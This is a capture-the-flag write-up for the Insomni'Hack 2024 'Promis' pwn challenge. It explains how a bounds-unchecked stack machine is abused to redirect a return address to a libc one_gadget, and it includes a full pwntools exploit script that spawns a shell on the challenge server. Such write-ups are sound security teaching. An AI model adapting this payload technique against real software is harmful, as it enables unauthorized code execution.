Promis
[Insomni'Hack Finals, 2024]
Challenge
We are given an executable and the first step was to see what is going on. Upon opening the binary in Ghidra we were presented with a pretty telling switch statement.
while (buffer[*state] != '\0') {
switch(buffer[*state]) {
case '\0':
*state = 0;
goto LAB_001017ca;
default:
exit(0);
case '\b':
*state = *state + 1;
consume_write_int(regs,(int)buffer[*state]);
*state = *state + 4;
break;
case '\x12':
*state = *state + 1;
consume_write_char(regs,buffer[*state]);
*state = *state + 1;
break;
case '\x16':
*state = *state + 1;
consume_write_long(regs,(long)buffer[*state]);
*state = *state + 8;
break;
case ' ':
add_clear_prev(regs);
*state = *state + 1;
break;
case '$':
*state = *state + 1;
reg0_add_next(regs,buffer[*state]);
*state = *state + 1;
break;
case '(':
*state = *state + 1;
iVar2 = add_slots_restricted(regs,param_4);
if (iVar2 == 0) {
exit(0);
}
break;
case '2':
*state = *state + 1;
reg0_decr_next(regs,buffer[*state]);
*state = *state + 1;
break;
case '6':
*state = *state + 1;
move_slot_up_clear_prev(regs);
break;
case '@':
*state = *state + 1;
clear_prev(regs);
break;
case 'D':
consume_slot_double_prev(regs);
*state = *state + 1;
break;
case 'H':
incr_curr(regs);
*state = *state + 1;
break;
case 'R':
decr_curr(regs);
*state = *state + 1;
break;
case 'V':
*state = *state + 1;
set_curr_int(regs,*(undefined4 *)(buffer + *state));
*state = *state + 4;
}
}
This was quickly identified as a weird stack machine that operated on the stack without any bound checks.
We identified that regs
was a struct with the following members.
struct {
long *curr;
long *unused;
int counter;
} regs;
After checking each state, we gathered that we could essentially do the following operations:
- Shift
regs->curr
by 10*8 downwards in the stack (upwards in memory, meaning curr+10) and decrment the counter by 10 via(
. This is the only way to shiftregs->curr
downwards. - Write different widths to the stack and shift
regs->curr
by upwards by one. (downwards in memory, so curr-1). But those operations did a check on the count. So if we shiftregs->curr
downwards via(
we cannot use those operations to write something on the stack. - Write an int without incrementing
regs->curr
. - Move
regs->curr
and the value it points to upwards by one set the previous value to 0. So from... | 0x12345678 | curr: 0x987654321 | ...
to... | curr: 0x987654321 | 0 | ...
. - Add the value at
regs->curr[-1]
to the value atregs->curr
. - Add a
char
as an operant to the value atregs->curr
.
And some other operations that turned out to be irrelevant.
Exploit
Goal: get a shell.
Before getting to the stack machine, we had to overflow a 4 byte buffer in order to get to the input that was then passed to the stack machine.
A payload like 0001\n
did the trick there.
The next thing was to check if there maybe is a nice one_gadget we could use instead of assembling a ROP chain on the stack.
And indeed, nix run nixpkgs\#one_gadget -- ./libc-2.27.so
found
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
which was really good, because even if [rsp+0x40] == NULL
is not valid we likely could overwrite the value at rsp+0x40
with the stack machine.
Now the plan was to move the RIP of main (a libc address returning to __libc_start_main
) upward in the stack to the RIP function that is the stack machine and then add the offset to the one_gadget to it.
But I rand into some problems:
- The offset to the one_gadget was to big for using the operations that adds a char to the value at
regs->curr
. - So the only viable way was to use the operation that adds the value at
regs->curr[-1]
to the value atregs->curr
. - For that we first have to write the offset value at the current position and then use
(
to moveregs->curr
to be at the main RIP to move it upwards and add the offset at some point. For that I needed some way of movingregs->curr
upwards without overwriting the current value.
I struggled with number 3 for a while, because once writing the offset, I was only able to move upwards, clearing all the values below.
After pondering on it for a bit, I realized that I could move up without clearing previous values by first clearing the value at regs->curr[-1]
and then using the add operation, which essentially moved the value at regs->curr[-1]
downwards. Thats what the MOVE_UP_ADD_ABOVE
in the exploit script does.
Here is how the shifting works in the exploit script, after the offset was written:
ADD_SLOTS
+-------------------------------+
| Canary |
|-------------------------------|
| |
|-------------------------------|
curr -------- | Offset to one_gadget |
|-------------------------------|
| | RIP of the stackmachine |
| |-------------------------------|
| | |
| |-------------------------------|
| | |
| |-------------------------------|
| | |
| |-------------------------------|
Add 10 | | RIP of main |
| |-------------------------------|
| | |
| |-------------------------------|
| | |
| |-------------------------------|
| | |
| |-------------------------------|
| | |
| |-------------------------------|
+---------> | |
+-------------------------------+
MOVE_UP_ADD_ABOVE * 4
+-------------------------------+
| |
|-------------------------------|
| Offset to one_gadget |
|-------------------------------|
| RIP of the stackmachine |
|-------------------------------|
| |
|-------------------------------|
| |
|-------------------------------|
| |
|-------------------------------|
| RIP of main |
|-------------------------------|
Set to 0 +---------> | |
| |-------------------------------|
| | |
Move up | |-------------------------------|
| | |
| |-------------------------------|
| | |
| |-------------------------------|
curr -------- | |
+-------------------------------+
MOVE_ADD_ABOVE
+-------------------------------+
| |
|-------------------------------|
| Offset to one_gadget |
|-------------------------------|
| RIP of the stackmachine |
|-------------------------------|
| |
|-------------------------------|
| |
|-------------------------------|
| |
|-------------------------------|
| RIP of main |---------+
|-------------------------------| | Add value above
curr -------- | | <-------+
|-------------------------------|
| |
+-------------------------------+
MOVE_UP_ADD_ABOVE * 4
+-------------------------------+
| |
|-------------------------------|
| Offset to one_gadget |
|-------------------------------|
+---------> | RIP of the stackmachine |
| |-------------------------------|
| | |
Move up | |-------------------------------|
| | |
| |-------------------------------|
| | |
| |-------------------------------|
| | |
| |-------------------------------|
curr -------- | RIP of main |
|-------------------------------|
| |
+-------------------------------+
ADD_SLOT_ABOVE
+-------------------------------+
| |
|-------------------------------|
| Offset to one_gadget |---------+
|-------------------------------| | Add value above
curr -------- | RIP of main | <-------+
|-------------------------------|
| |
+-------------------------------+
And thats it.
After the ADD_SLOT_ABOVE
succeeds and the stack machine exits and our one_gadget gets called. yay!
Here is the full exploit script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host promis.insomnihack.ch --port 6666 --libc libc-2.27.so promis
from pwn import *
import random
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or "promis_patched")
context.terminal = ["foot"]
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or "promis.insomnihack.ch"
port = int(args.PORT or 6666)
def start_local(argv=[], *a, **kw):
"""Execute the target binary locally"""
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
"""Connect to the process on the remote host"""
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
"""Start the exploit against the target."""
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = """
# brva 0x14b6
# add slots
brva 0x01698
# 0x12 move clear
brva 0x16c8
# return from machine
brva 0x17df
# add slot above
brva 0x0101d
continue
""".format(**locals())
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
def enter(io):
io.sendafter(b"choice: ", b"0001\n")
LIBC_MAIN_RET_OFFSET = 0x21C87
LIBC_ONE_GADGET = 0x4F302
LIBC_INCR = LIBC_ONE_GADGET - LIBC_MAIN_RET_OFFSET
CONSUME_WRITE_INT = b"\b"
CONSUME_WRITE_CHAR = b"\x12"
CONSUME_WRITE_LONG = b"\x16"
CONSUME_WRITE_0 = CONSUME_WRITE_CHAR + b"\x00"
ADD_SLOT_ABOVE = b" "
ADD_CHAR_TO_SLOT = b"$"
ADD_SLOTS = b"("
MOVE_UP_CLEAR = b"6"
ADD_CURR = b"$"
SET_CURR_INT = b"V"
MOVE_UP_ADD_ABOVE = SET_CURR_INT + p32(0) + ADD_SLOT_ABOVE + MOVE_UP_CLEAR
payload = (
ADD_SLOTS
+ CONSUME_WRITE_0 * 8
+ ADD_SLOTS
+ SET_CURR_INT
+ p32(LIBC_INCR)
+ ADD_SLOTS
+ MOVE_UP_CLEAR * 4
+ MOVE_UP_ADD_ABOVE
+ MOVE_UP_CLEAR * 4
+ ADD_SLOT_ABOVE
)
io = start()
enter(io)
assert len(payload) < 0x100
io.sendline(payload)
io.interactive()